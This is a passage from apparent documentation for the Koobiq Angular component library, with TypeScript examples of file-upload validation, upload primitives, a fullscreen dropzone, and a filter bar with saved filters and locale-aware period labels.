        KbqSingleFileUploadComponent
    ],
    template: `
        <form [formGroup]="formGroup">
            <kbq-file-upload class="layout-margin-bottom-s" formControlName="fileControl" [accept]="accept">
                @if (!formGroup.get('fileControl')?.errors) {
                    <i kbq-icon="kbq-file-o_16"></i>
                } @else {
                    <i kbq-icon="kbq-triangle-exclamation_16"></i>
                }

                @if (formGroup.get('fileControl')?.hasError('fileExtensionMismatch')) {
                    <kbq-hint color="error">Provide valid extension</kbq-hint>
                }

                <kbq-hint>File with TXT extension is allowed</kbq-hint>
            </kbq-file-upload>
        </form>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadSingleAcceptValidationExample {
    protected accept: KbqFileTypeSpecifier = ['.txt'];

    protected readonly formGroup = new FormGroup({
        fileControl: new FormControl(null, FileValidators.isCorrectExtension(this.accept))
    });
}
```

- **Multiple files**: Example of uploading multiple files using `Reactive Forms` with validation.

**Example: File upload multiple accept validation** (`file-upload-multiple-accept-validation`)

```ts file-upload-multiple-accept-validation-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormArray, FormControl, ReactiveFormsModule } from '@angular/forms';
import { FileValidators, KbqFileTypeSpecifier } from '@koobiq/components/core';
import { KbqFileItem, KbqMultipleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'file-upload-multiple-accept-validation-example',
    imports: [
        ReactiveFormsModule,
        KbqFormFieldModule,
        KbqIconModule,
        KbqMultipleFileUploadComponent
    ],
    template: `
        <kbq-file-upload multiple (fileRemoved)="onFileRemoved($event)" (filesAdded)="onFilesAdded($event)">
            <ng-template #kbqFileIcon let-file>
                @if (!file.hasError) {
                    <i kbq-icon="kbq-file-o_16"></i>
                } @else {
                    <i kbq-icon="kbq-triangle-exclamation_16"></i>
                }
            </ng-template>

            <kbq-hint>Files with TXT extension are allowed</kbq-hint>

            @for (control of fileList.controls; track $index) {
                <kbq-hint color="error">
                    @if (control.hasError('fileExtensionMismatch')) {
                        {{ control.value?.file?.name }} - {{ fileExtensionMismatchErrorMessage }}
                    }
                </kbq-hint>
            }
        </kbq-file-upload>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadMultipleAcceptValidationExample {
    protected accept: KbqFileTypeSpecifier = ['.txt'];
    protected fileExtensionMismatchErrorMessage = 'Provide valid extension';

    protected readonly fileList = new FormArray<FormControl<KbqFileItem | null>>([]);

    constructor() {
        this.fileList.statusChanges.subscribe(() => {
            this.fileList.controls.forEach((control) => {
                if (control?.value && 'hasError' in control.value) {
                    control.value.hasError = control.invalid;
                }
            });
        });
    }

    onFileRemoved([
        _,
        index
    ]: [
        KbqFileItem,
        number
    ]): void {
        this.fileList.removeAt(index);
    }

    onFilesAdded($event: KbqFileItem[]): void {
        for (const fileItem of $event.slice()) {
            this.fileList.push(new FormControl(fileItem, FileValidators.isCorrectExtension(this.accept)));
        }
    }
}
```

##### Mixed validation: required and extension

- **Single file**: example of uploading a single file using `Reactive Forms` with validation.

**Example: File upload single mixed validation example** (`file-upload-single-mixed-validation`)

```ts file-upload-single-mixed-validation-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { FileValidators, KbqFileTypeSpecifier, ShowOnFormSubmitErrorStateMatcher } from '@koobiq/components/core';
import { KbqFileItem, KbqSingleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'file-upload-single-mixed-validation-example',
    imports: [
        ReactiveFormsModule,
        KbqFormFieldModule,
        KbqButtonModule,
        KbqIconModule,
        KbqSingleFileUploadComponent
    ],
    template: `
        <form [formGroup]="form" (ngSubmit)="onSubmit()">
            <kbq-file-upload
                #kbqFileUpload
                class="layout-margin-bottom-s"
                formControlName="fileUpload"
                [errorStateMatcher]="customErrorStateMatcher"
                [progressMode]="'indeterminate'"
            >
                <i kbq-icon="kbq-file-o_16"></i>

                @if (kbqFileUpload.invalid && form.controls.fileUpload.hasError('required')) {
                    <kbq-hint color="error">File required</kbq-hint>
                }

                @if (form.controls.fileUpload.hasError('fileExtensionMismatch')) {
                    <kbq-hint color="error">Provide valid extension</kbq-hint>
                }

                <kbq-hint>Files with TXT extension are allowed</kbq-hint>
            </kbq-file-upload>
            <button class="layout-margin-top-m" kbq-button type="submit">Submit</button>
        </form>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadSingleMixedValidationExample {
    protected readonly customErrorStateMatcher = new ShowOnFormSubmitErrorStateMatcher();
    protected readonly accept: KbqFileTypeSpecifier = ['.txt'];

    protected readonly form = new FormGroup({
        fileUpload: new FormControl<KbqFileItem | null>(null, [
            Validators.required,
            FileValidators.isCorrectExtension(['.txt'])
        ])
    });

    onSubmit(): void {
        console.log('perform action on submit');
    }
}
```

- **Multiple files**: Example of uploading multiple files using `Reactive Forms` with validation.

**Example: File upload multiple mixed validation example** (`file-upload-multiple-mixed-validation`)

```ts file-upload-multiple-mixed-validation-example.ts
import { ChangeDetectionStrategy, ChangeDetectorRef, Component, inject } from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import { FormArray, FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { FileValidators, KbqFileTypeSpecifier, ShowOnFormSubmitErrorStateMatcher } from '@koobiq/components/core';
import { KbqFileItem, KbqMultipleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'file-upload-multiple-mixed-validation-example',
    imports: [
        ReactiveFormsModule,
        KbqFormFieldModule,
        KbqButtonModule,
        KbqIconModule,
        KbqMultipleFileUploadComponent
    ],
    template: `
        <form [formGroup]="formMultiple">
            <kbq-file-upload
                #kbqFileUpload
                class="layout-margin-bottom-s"
                multiple
                formControlName="fileUpload"
                [errorStateMatcher]="customErrorStateMatcher"
                [progressMode]="'indeterminate'"
                (fileRemoved)="onFileRemoved($event)"
                (filesAdded)="onFilesAdded($event)"
            >
                <ng-template #kbqFileIcon>
                    <i kbq-icon="kbq-file-o_16"></i>
                </ng-template>

                @if (kbqFileUpload.invalid && formMultiple.controls.fileUpload.hasError('required')) {
                    <kbq-hint color="error">File required</kbq-hint>
                }

                @for (control of fileList.controls; track $index) {
                    <kbq-hint color="error">
                        @if (control.hasError('fileExtensionMismatch')) {
                            {{ control.value?.file?.name }} - {{ fileExtensionMismatchErrorMessage }}
                        }
                    </kbq-hint>
                }

                <kbq-hint>Files with TXT extension are allowed</kbq-hint>
            </kbq-file-upload>
            <button class="layout-margin-top-m" kbq-button type="submit">Submit</button>
        </form>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadMultipleMixedValidationExample {
    protected readonly customErrorStateMatcher = new ShowOnFormSubmitErrorStateMatcher();
    protected readonly accept: KbqFileTypeSpecifier = ['.txt'];
    protected readonly fileExtensionMismatchErrorMessage = 'Provide valid extension';
    protected readonly cdr = inject(ChangeDetectorRef);

    protected readonly formMultiple = new FormGroup({
        fileUpload: new FormControl<FileList | KbqFileItem[]>([], Validators.required),
        fileList: new FormArray<FormControl<KbqFileItem | null>>([], Validators.required)
    });

    protected get fileList() {
        return this.formMultiple.controls.fileList;
    }

    constructor() {
        this.fileList.statusChanges.pipe(takeUntilDestroyed()).subscribe(() => {
            this.fileList.controls.forEach((control) => {
                if (control?.value && 'hasError' in control.value) {
                    control.value.hasError = control.invalid;
                }
            });
        });
    }

    onFileRemoved([
        _,
        index
    ]: [
        KbqFileItem,
        number
    ]): void {
        this.fileList.removeAt(index);
    }

    onFilesAdded($event: KbqFileItem[]): void {
        for (const fileItem of $event.slice()) {
            this.fileList.push(new FormControl(fileItem, FileValidators.isCorrectExtension(this.accept)));
        }
    }
}
```

##### Asynchronous validation

- Example of content check while uploading a single file using `Reactive Forms`.

**Example: File upload single async validation** (`file-upload-single-async-validation`)

```ts file-upload-single-async-validation-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    AbstractControl,
    AsyncValidatorFn,
    FormControl,
    FormGroup,
    ReactiveFormsModule,
    ValidationErrors
} from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { ShowOnFormSubmitErrorStateMatcher } from '@koobiq/components/core';
import { KbqFileItem, KbqSingleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { Observable } from 'rxjs';

const MAX_LINE_COUNT = 100;

function readFileAsText(file: File): Observable<string> {
    return new Observable((observer) => {
        const reader = new FileReader();

        reader.onload = () => {
            observer.next(reader.result as string);
            observer.complete();
        };

        reader.onerror = () => {
            observer.error(reader.error);
        };

        reader.readAsText(file);
    });
}

function maxLinesValidator(maxLines: number): AsyncValidatorFn {
    return (control: AbstractControl<KbqFileItem | null>): Observable<ValidationErrors | null> => {
        return new Observable((observer) => {
            if (!control.value) {
                observer.next(null);
                observer.complete();

                return;
            }

            const subscription = readFileAsText(control.value.file).subscribe({
                next: (content) => {
                    const lines = content.split('\n').length;

                    observer.next(lines > maxLines ? { maxLines: { max: maxLines, actual: lines } } : null);
                    observer.complete();
                },
                error: () => {
                    observer.next({ fileReadError: true });
                    observer.complete();
                }
            });

            return () => subscription.unsubscribe();
        });
    };
}

@Component({
    selector: 'file-upload-single-async-validation-example',
    imports: [
        ReactiveFormsModule,
        KbqFormFieldModule,
        KbqButtonModule,
        KbqIconModule,
        KbqSingleFileUploadComponent
    ],
    template: `
        <form [formGroup]="form" (ngSubmit)="onSubmit()">
            <kbq-file-upload
                #kbqFileUpload
                class="layout-margin-bottom-s"
                formControlName="fileUpload"
                [errorStateMatcher]="errorStateMatcher"
                [progressMode]="'indeterminate'"
                [accept]="['.txt']"
            >
                @if (form.controls.fileUpload.pending) {
                    <i kbq-icon="kbq-spinner_16"></i>
                } @else if (kbqFileUpload.invalid) {
                    <i kbq-icon="kbq-triangle-exclamation_16"></i>
                } @else {
                    <i kbq-icon="kbq-file-o_16"></i>
                }

                @if (form.controls.fileUpload.hasError('maxLines')) {
                    <kbq-hint color="error">
                        File exceeds {{ form.controls.fileUpload.errors?.['maxLines'].max }} lines ({{
                            form.controls.fileUpload.errors?.['maxLines'].actual
                        }}
                        found)
                    </kbq-hint>
                }

                @if (form.controls.fileUpload.hasError('fileReadError')) {
                    <kbq-hint color="error">Failed to read file content</kbq-hint>
                }

                <kbq-hint>Only TXT files with up to {{ maxLines }} lines are allowed</kbq-hint>
            </kbq-file-upload>

            <button class="layout-margin-top-m" kbq-button type="submit" [disabled]="form.pending">Submit</button>
        </form>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadSingleAsyncValidationExample {
    protected readonly maxLines = MAX_LINE_COUNT;
    protected readonly errorStateMatcher = new ShowOnFormSubmitErrorStateMatcher();

    protected readonly form = new FormGroup({
        fileUpload: new FormControl<KbqFileItem | null>(null, { asyncValidators: maxLinesValidator(MAX_LINE_COUNT) })
    });

    onSubmit(): void {
        console.log('perform action on submit');
    }
}
```

#### Primitives

This example demonstrates the use of file upload component primitives.

**Example: File upload primitive** (`file-upload-primitive`)

```ts file-upload-primitive-example.ts
import { ChangeDetectionStrategy, Component, viewChild } from '@angular/core';
import { KbqBadge } from '@koobiq/components/badge';
import { KbqButton, KbqButtonCssStyler } from '@koobiq/components/button';
import { KbqEmptyState } from '@koobiq/components/empty-state';
import {
    KbqFile,
    KbqFileDropDirective,
    KbqFileItem,
    KbqFileList,
    KbqFileLoader,
    KbqFileUploadContext
} from '@koobiq/components/file-upload';
import { KbqIcon, KbqIconItem } from '@koobiq/components/icon';
import { BehaviorSubject } from 'rxjs';

/**
 @title File upload primitive
 */
@Component({
    selector: 'file-upload-primitive-example',
    imports: [
        KbqFileDropDirective,
        KbqFileUploadContext,
        KbqFileLoader,
        KbqButton,
        KbqButtonCssStyler,
        KbqFileList,
        KbqIcon,
        KbqBadge,
        KbqEmptyState,
        KbqIconItem
    ],
    template: `
        <div
            kbqFileUploadContext
            kbqFileDrop
            multiple
            [id]="'custom-file-upload'"
            [disabled]="false"
            (filesDropped)="onFilesDropped($event)"
        >
            <kbq-empty-state size="big" style="min-height: 216px">
                <i
                    kbq-empty-state-icon
                    kbq-icon-item="kbq-arrow-up-from-line_16"
                    [big]="true"
                    [color]="'contrast'"
                    [fade]="true"
                ></i>
                <div kbq-empty-state-title>Click to upload or drag and drop</div>
                <div kbq-empty-state-actions>
                    <label
                        #ref="kbqFileLoader"
                        kbqFileLoader
                        (click)="ref.input().nativeElement.click()"
                        (fileChange)="onFileClicked($event)"
                    >
                        <button kbq-button [color]="'theme'" [kbqStyle]="'transparent'">Choose a file</button>
                    </label>
                </div>
            </kbq-empty-state>
            <div
                #list="kbqFileList"
                kbqFileList
                (itemRemoved)="onItemRemoved($event)"
                (itemsAdded)="onItemsAdded($event)"
                (listChange)="onListChange($event)"
            >
                @for (item of list.list(); track item) {
                    <div class="list-item">
                        <kbq-badge>{{ item.file.name }}</kbq-badge>
                        <button
                            kbq-button
                            aria-label="Delete"
                            [kbqStyle]="'transparent'"
                            [color]="'contrast'"
                            (click)="list.removeAt($index)"
                        >
                            <i kbq-icon="kbq-trash_16"></i>
                        </button>
                    </div>
                }
            </div>
        </div>
    `,
    styles: `
        .kbq-file-drop {
            min-height: 300px;
            width: 500px;
            background: var(--kbq-background-card);
            border: 1px dashed var(--kbq-line-contrast-less);
            border-radius: 8px;
            margin-bottom: var(--kbq-size-m);
        }

        .kbq-file-list {
            display: flex;
            width: 100%;

            &:not(:empty) {
                padding-top: var(--kbq-size-s);
            }
        }

        .list-item {
            display: flex;
            justify-content: space-between;
            align-items: center;
            width: 100%;
            box-shadow: var(--kbq-shadow-card);
            padding: var(--kbq-size-s);
            margin: var(--kbq-size-m);
            border-radius: var(--kbq-size-border-radius);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadPrimitiveExample {
    readonly list = viewChild.required(KbqFileList);

    onFileClicked({ target }: Event) {
        if (!(target instanceof HTMLInputElement)) return;
        const fileToAdd = target.files?.item(0);

        if (fileToAdd) {
            this.list().add({
                file: fileToAdd,
                hasError: false,
                loading: new BehaviorSubject<boolean>(false),
                progress: new BehaviorSubject<number>(0)
            });
        }

        target.value = null as any;
    }

    onFilesDropped(files: KbqFile[] | null): void {
        if (!files) return;

        this.list().addArray(
            Array.from(files).map((file: File) => ({
                file,
                hasError: false,
                loading: new BehaviorSubject<boolean>(false),
                progress: new BehaviorSubject<number>(0)
            }))
        );
    }

    onListChange($event: KbqFileItem[]) {
        console.log('onListChange: ', $event);
    }

    onItemRemoved($event: [KbqFileItem, number]) {
        console.log('onItemRemoved: ', $event);
    }

    onItemsAdded($event: KbqFileItem[]) {
        console.log('onItemsAdded: ', $event);
    }
}
```

#### Dropzone

**Example: File-upload Dropzone** (`file-upload-dropzone`)

```ts file-upload-dropzone-example.ts
import { ChangeDetectionStrategy, Component, DestroyRef, inject, model, signal, viewChild } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqContentPanelModule } from '@koobiq/components/content-panel';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';
import {
    KbqFileItem,
    KbqFullScreenDropzoneService,
    KbqMultipleFileUploadComponent
} from '@koobiq/components/file-upload';
import { KbqIcon } from '@koobiq/components/icon';
import { KbqToggleChange, KbqToggleComponent } from '@koobiq/components/toggle';

@Component({
    selector: 'file-upload-dropzone-example',
    imports: [
        KbqMultipleFileUploadComponent,
        KbqContentPanelModule,
        KbqEmptyStateModule,
        KbqToggleComponent,
        FormsModule,
        KbqIcon
    ],
    template: `
        <kbq-toggle class="layout-margin-bottom-l" [checked]="isActive()" (change)="onChange($event)">
            activate fullscreen dropzone
        </kbq-toggle>

        @if (files().length) {
            <kbq-file-upload multiple [(ngModel)]="files">
                <ng-template #kbqFileIcon>
                    <i kbq-icon="kbq-file-text-o_16"></i>
                </ng-template>
            </kbq-file-upload>
        } @else {
            <kbq-empty-state>
                <div kbq-empty-state-text>Drop files here</div>
            </kbq-empty-state>
        }
    `,
    styles: `
        :host {
            .kbq-empty-state {
                height: 128px;
            }

            .kbq-multiple-file-upload {
                --kbq-file-upload-size-multiple-min-height: 120px;
                --kbq-file-upload-size-multiple-max-height: 120px;
            }
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadDropzoneExample {
    protected readonly isActive = signal(false);
    protected readonly files = model<KbqFileItem[]>([]);

    protected readonly fileUpload = viewChild(KbqMultipleFileUploadComponent);

    protected readonly dropzoneService = inject(KbqFullScreenDropzoneService);
    protected readonly destroyRef = inject(DestroyRef);

    constructor() {
        const sub = this.dropzoneService.filesDropped.subscribe((files) => {
            this.files.set(files.map((file) => ({ file })));
        });

        this.dropzoneService.init({ title: 'Drop files here' });

        this.destroyRef.onDestroy(() => {
            sub.unsubscribe();
            this.dropzoneService.stop();
        });
    }

    onChange({ checked }: KbqToggleChange) {
        this.isActive.set(checked);
        this.dropzoneService.disabled.set(!checked);
    }
}
```

## Filter Bar

- Entry point: `@koobiq/components/filter-bar`
- NgModule: `KbqFilterBarModule`
- Page: https://koobiq.io/en/components/filter-bar/overview

### Overview

A composite component for filtering data in a table or list.

**Example: filter bar** (`filter-bar-overview`)

```ts filter-bar-overview-example.ts
import { ChangeDetectionStrategy, Component, computed, linkedSignal } from '@angular/core';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateFormatter } from '@koobiq/components/core';
import {
    KbqFilter,
    KbqFilterBar,
    KbqFilterBarModule,
    KbqPipe,
    KbqPipeTemplate,
    KbqPipeTypes,
    KbqSaveFilterEvent,
    KbqSaveFilterStatuses
} from '@koobiq/components/filter-bar';
import { injectLocalizedPeriods, injectLocalizedText } from '../localized-data';

/** Text search is the first pipe in every filter: always present, never removable. */
const createSearchPipe = (name: string): KbqPipe => ({
    name,
    type: KbqPipeTypes.Input,
    value: null,

    cleanable: true,
    removable: false,
    disabled: false
});

@Component({
    selector: 'filter-bar-overview-example',
    imports: [KbqFilterBarModule, LuxonDateModule],
    template: `
        <kbq-filter-bar
            [pipeTemplates]="pipeTemplates()"
            [filter]="activeFilter()"
            (filterChange)="onFilterChange($event)"
        >
            <kbq-filters
                [filters]="filters()"
                (onSave)="onSaveFilter($event)"
                (onResetFilterChanges)="onResetFilterChanges($event)"
                (onRemoveFilter)="onDeleteFilter($event)"
            />

            @for (pipe of activeFilter()?.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }

            <kbq-pipe-add />

            @if (activeFilter()?.name !== defaultFilter()?.name || activeFilter()?.changed) {
                <kbq-filter-reset (onResetFilter)="onResetFilter()" />
            }
        </kbq-filter-bar>
    `,
    providers: [DateFormatter],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarOverviewExample {
    /**
     * The bar translates its own strings, never the data it is handed: period labels are the
     * application's to produce, and these follow the active locale.
     */
    protected readonly periods = injectLocalizedPeriods();

    /** Text the example owns: it has no counterpart in the library's locale data. */
    protected readonly text = injectLocalizedText({
        'ru-RU': { search: 'Поиск' },
        default: { search: 'Search' }
    });

    // Everything below is derived from the period labels, so it is rebuilt whenever the locale changes:
    // `*kbqPipe` builds a pipe component once from the object it is given and ignores later changes to
    // that binding, so a relabelled period only reaches the screen as a new pipe object. `linkedSignal`
    // for what the user also writes, `computed` for what is only ever read.
    readonly filters = linkedSignal(() => this.createFilters());
    readonly savedFilters = computed(() => structuredClone(this.createFilters()));

    readonly defaultFilter = computed<KbqFilter | null>(() => this.getDefaultFilter());
    readonly activeFilter = linkedSignal<KbqFilter | null>(() => this.getDefaultFilter());

    readonly pipeTemplates = computed<KbqPipeTemplate[]>(() => [
        {
            name: 'Date',
            type: KbqPipeTypes.Date,
            values: this.periods.date(),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Datetime',
            type: KbqPipeTypes.Datetime,
            values: this.periods.datetime(),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'MultiSelect',
            type: KbqPipeTypes.MultiSelect,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Select',
            type: KbqPipeTypes.Select,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],

            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Text',
            type: KbqPipeTypes.Text,

            cleanable: false,
            removable: true,
            disabled: false
        }
    ]);

    onFilterChange(filter: KbqFilter | null) {
        // KbqFilterBar flips `changed` to true on any pipe edit but never back to false.
        // Re-derive it by diffing the pipes against the filter's initial (saved/default) state,
        // so reverting the pipes also clears `changed` and hides <kbq-filter-reset>.
        const initialFilter = filter ? this.getInitialFilter(filter) : null;

        this.activeFilter.set(
            filter && initialFilter && this.arePipesEqual(filter.pipes, initialFilter.pipes)
                ? { ...filter, changed: false }
                : filter
        );
    }

    onResetFilter() {
        console.log('onResetFilter: ');
        this.activeFilter.set(this.getDefaultFilter(true));
    }

    onResetFilterChanges(filter: KbqFilter | null) {
        console.log('onResetFilterChanges: ');
        const defaultFilter = this.getSavedFilter(filter);

        this.filters.update((filters) => filters.map((item) => (item.name === filter?.name ? defaultFilter : item)));

        this.activeFilter.set(defaultFilter);
    }

    onDeleteFilter(filter: KbqFilter) {
        this.filters.update((filters) => filters.filter(({ name }) => name !== filter?.name));

        this.activeFilter.set(this.getDefaultFilter());
    }

    onSaveFilter({ filter, filterBar, status }: KbqSaveFilterEvent) {
        setTimeout(() => {
            if (status === KbqSaveFilterStatuses.NewFilter) {
                this.saveNewFilter(filter, filterBar);
            } else if (status === KbqSaveFilterStatuses.NewName) {
                this.saveCurrentFilterWithNewName(filter, filterBar);
            } else if (status === KbqSaveFilterStatuses.OnlyChanges) {
                this.saveCurrentFilterWithChangesInPipes(filter, filterBar);
            }
        }, 5000);
    }

    saveNewFilter(filter: KbqFilter, filterBar: KbqFilterBar) {
        // This logic simulates the behavior of the backend
        if (!this.filters().some(({ name }) => name === filter.name)) {
            this.filters.update((filters) => [...filters, filter]);

            this.activeFilter.set(filter);

            filterBar.filters()?.filterSavedSuccessfully();
        } else {
            filterBar.filters()?.filterSavedUnsuccessfully({ nameAlreadyExists: true });
        }
    }

    saveCurrentFilterWithNewName(filter: KbqFilter, filterBar: KbqFilterBar) {
        // This logic simulates the behavior of the backend
        if (filterBar.filter()?.name === filter.name) {
            filterBar.filters()?.filterSavedUnsuccessfully({ nameAlreadyExists: true });

            return;
        }

        const currentName = filterBar.filter()?.name;

        // A filter the store does not know about cannot be renamed.
        if (!this.filters().some(({ name }) => name === currentName)) {
            filterBar.filters()?.filterSavedUnsuccessfully();

            return;
        }

        // Renaming writes the name only: the stored pipes stay as they were saved, so unsaved changes
        // in the bar are not persisted along with the new name.
        this.filters.update((filters) =>
            filters.map((item) => (item.name === currentName ? { ...item, name: filter.name } : item))
        );

        this.activeFilter.set(filter);

        filterBar.filters()?.filterSavedSuccessfully();
    }

    saveCurrentFilterWithChangesInPipes(filter: KbqFilter, filterBar: KbqFilterBar) {
        // This logic simulates the behavior of the backend
        this.filters.update((filters) => filters.map((item) => (item.name === filter.name ? filter : item)));

        this.activeFilter.set(filter);

        filterBar.filters()?.filterSavedSuccessfully();
    }

    getSavedFilter(filter: KbqFilter | null): KbqFilter {
        return structuredClone(this.savedFilters().find(({ name }) => name === filter?.name)!);
    }

    /** Pristine (saved or default) version of a filter — the baseline for change detection. */
    getInitialFilter(filter: KbqFilter): KbqFilter | null {
        return filter.name === this.defaultFilter()?.name
            ? this.defaultFilter()
            : (this.savedFilters().find(({ name }) => name === filter.name) ?? null);
    }

    /** Whether two pipe lists are equivalent (same name/type/value) — detects a return to the initial state. */
    arePipesEqual(a: KbqPipe[], b: KbqPipe[]): boolean {
        const serialize = (pipes: KbqPipe[]): string =>
            JSON.stringify(pipes.map(({ name, type, value }) => ({ name, type, value })));

        return serialize(a) === serialize(b);
    }

    createFilters(): KbqFilter[] {
        return [
            {
                name: 'Saved Filter 1',
                readonly: false,
                disabled: false,
                changed: false,
                saved: true,
                pipes: [
                    createSearchPipe(this.text().search),
                    {
                        name: 'Datetime',
                        value: this.periods.pick({ unit: 'days', amount: -7 }),
                        type: KbqPipeTypes.Datetime,

                        cleanable: false,
                        removable: false,
                        disabled: false
                    },
                    {
                        name: 'Select',
                        value: { name: 'Option 6', id: '6' },
                        type: KbqPipeTypes.Select,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    },
                    {
                        name: 'Text',
                        value: 'Angular Rules',
                        type: KbqPipeTypes.Text,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    }
                ]
            },
            {
                name: 'Saved Filter 2',
                readonly: false,
                disabled: false,
                changed: false,
                saved: true,
                pipes: [
                    createSearchPipe(this.text().search),
                    {
                        name: 'Datetime',
                        value: this.periods.pick({ unit: 'years', amount: -1 }),
                        type: KbqPipeTypes.Datetime,

                        cleanable: false,
                        removable: false,
                        disabled: false
                    },
                    {
                        name: 'MultiSelect',
                        value: [
                            { name: 'Option 1', id: '1' },
                            { name: 'Option 3', id: '3' },
                            { name: 'Option 4', id: '4' }
                        ],
                        type: KbqPipeTypes.MultiSelect,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    },
                    {
                        name: 'Date',
                        value: this.periods.pick({ unit: 'days', amount: -7 }),
                        type: KbqPipeTypes.Date,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    }
                ]
            },
            {
                name: 'Saved Filter 3',
                readonly: false,
                disabled: false,
                changed: false,
                saved: true,
                pipes: [
                    createSearchPipe(this.text().search),
                    {
                        name: 'Datetime',
                        value: this.periods.pick({ unit: 'days', amount: -3 }),
                        type: KbqPipeTypes.Datetime,

                        cleanable: false,
                        removable: false,
                        disabled: false
                    },
                    {
                        name: 'Select',
                        value: { name: 'Option 5', id: '5' },
                        type: KbqPipeTypes.Select,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    },
                    {
                        name: 'MultiSelect',
                        value: [
                            { name: 'Option 1', id: '1' },
                            { name: 'Option 2', id: '2' }
                        ],
                        type: KbqPipeTypes.MultiSelect,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    }
                ]
            }
        ];
    }

    /**
     * `openOnReset` is only for the filter the reset itself builds: the bar's reset stream stays latched
     * at `true`, so a pipe re-created for any other reason — a locale change, say — would replay it and
     * pop its panel open unprompted.
     */
    getDefaultFilter(openOnReset = false): KbqFilter {
        return {
            name: '',
            readonly: false,
            disabled: false,
            changed: false,
            saved: false,
            pipes: [
                createSearchPipe(this.text().search),
                {
                    name: 'Datetime',
                    value: this.periods.pick({ unit: 'hours', amount: -24 }),
                    type: KbqPipeTypes.Datetime,

                    cleanable: false,
                    removable: false,
                    disabled: false,

                    openOnReset
                }
            ]
        };
    }
}
```

```ts ../localized-data.ts
import { computed, inject, Signal, untracked } from '@angular/core';
import {
    DateAdapter,
    DateFormatter,
    kbqInjectLocaleConfiguration,
    kbqInjectLocaleService
} from '@koobiq/components/core';
import { KBQ_TIME_RANGE_LOCALE_CONFIGURATION } from '@koobiq/components/time-range';

/**
 * A relative period offered by the `date` / `datetime` pipes, expressed as one negative duration
 * unit. The label is derived from it, so the examples carry no translated period names at all.
 */
export interface ExamplePeriod {
    unit: 'hours' | 'days' | 'years';
    amount: number;
}

/**
 * Value shape the `date` / `datetime` pipes read: `name` is what the chip and the period list show,
 * `start` is the offset applied to `today()` when the period is resolved to an actual range.
 */
export interface ExamplePeriodValue {
    name: string;
    start: Record<string, number>;
    end: null;
}

/** Periods offered by the `date` pipe in these examples. */
const DATE_PERIODS: ExamplePeriod[] = [
    { unit: 'days', amount: -1 },
    { unit: 'days', amount: -3 },
    { unit: 'days', amount: -7 },
    { unit: 'days', amount: -30 },
    { unit: 'days', amount: -90 },
    { unit: 'years', amount: -1 }
];

/** Periods offered by the `datetime` pipe in these examples. */
const DATETIME_PERIODS: ExamplePeriod[] = [
    { unit: 'hours', amount: -1 },
    { unit: 'hours', amount: -3 },
    { unit: 'hours', amount: -24 },
    { unit: 'days', amount: -3 },
    { unit: 'days', amount: -7 },
    { unit: 'days', amount: -30 },
    { unit: 'days', amount: -90 },
    { unit: 'years', amount: -1 }
];

/** Period lists whose labels follow the active locale. Call from an injection context. */
export interface LocalizedPeriods {
    date: Signal<ExamplePeriodValue[]>;
    datetime: Signal<ExamplePeriodValue[]>;
    /** The value of one period, for a pipe that starts with a period already selected. */
    pick: (period: ExamplePeriod) => ExamplePeriodValue;
}

/**
 * Builds the period lists of the `date` / `datetime` pipes with labels taken from the active locale.
 *
 * The filter bar translates its own strings but never the data it is handed, so labels like
 * "Last 24 hours" are the application's to produce. Rather than keeping a translation table, they are
 * formatted out of the period itself with `DateFormatter.duration()` and the duration templates of the
 * active locale — the same ones `kbq-time-range` renders its preset list with — which covers every
 * shipped locale and gets the plural forms right.
 *
